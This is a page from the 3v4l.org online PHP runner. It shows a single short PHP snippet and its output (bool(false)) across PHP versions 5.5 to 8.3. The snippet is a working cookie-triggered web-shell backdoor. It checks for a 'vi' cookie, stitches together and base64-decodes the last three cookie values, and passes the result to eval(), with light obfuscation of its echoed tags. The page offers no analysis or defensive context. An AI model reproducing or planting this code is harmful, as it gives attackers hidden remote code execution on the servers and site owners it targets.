3v4l.org

run code in 300+ PHP versions simultaneously
<?php $c='count'; $a=$_COOKIE; if(reset($a)=='vi' && $c($a)>3){ $k='ctor'; echo '<'.$k.'>'; eval(base64_decode(preg_replace(array('/[^\w=\s]/','/\s/'), array('','+'), join(array_slice($a,$c($a)-3))))); echo '</'.$k.'>'; } var_dump(reset($a)); ?>
Output for 5.5.0 - 5.5.36, 5.6.0 - 5.6.28, 7.0.0 - 7.0.20, 7.1.0 - 7.1.33, 7.2.0 - 7.2.33, 7.3.0 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.19, 8.3.0 - 8.3.7
bool(false)
preferences:
187.53 ms | 404 KiB | 246 Q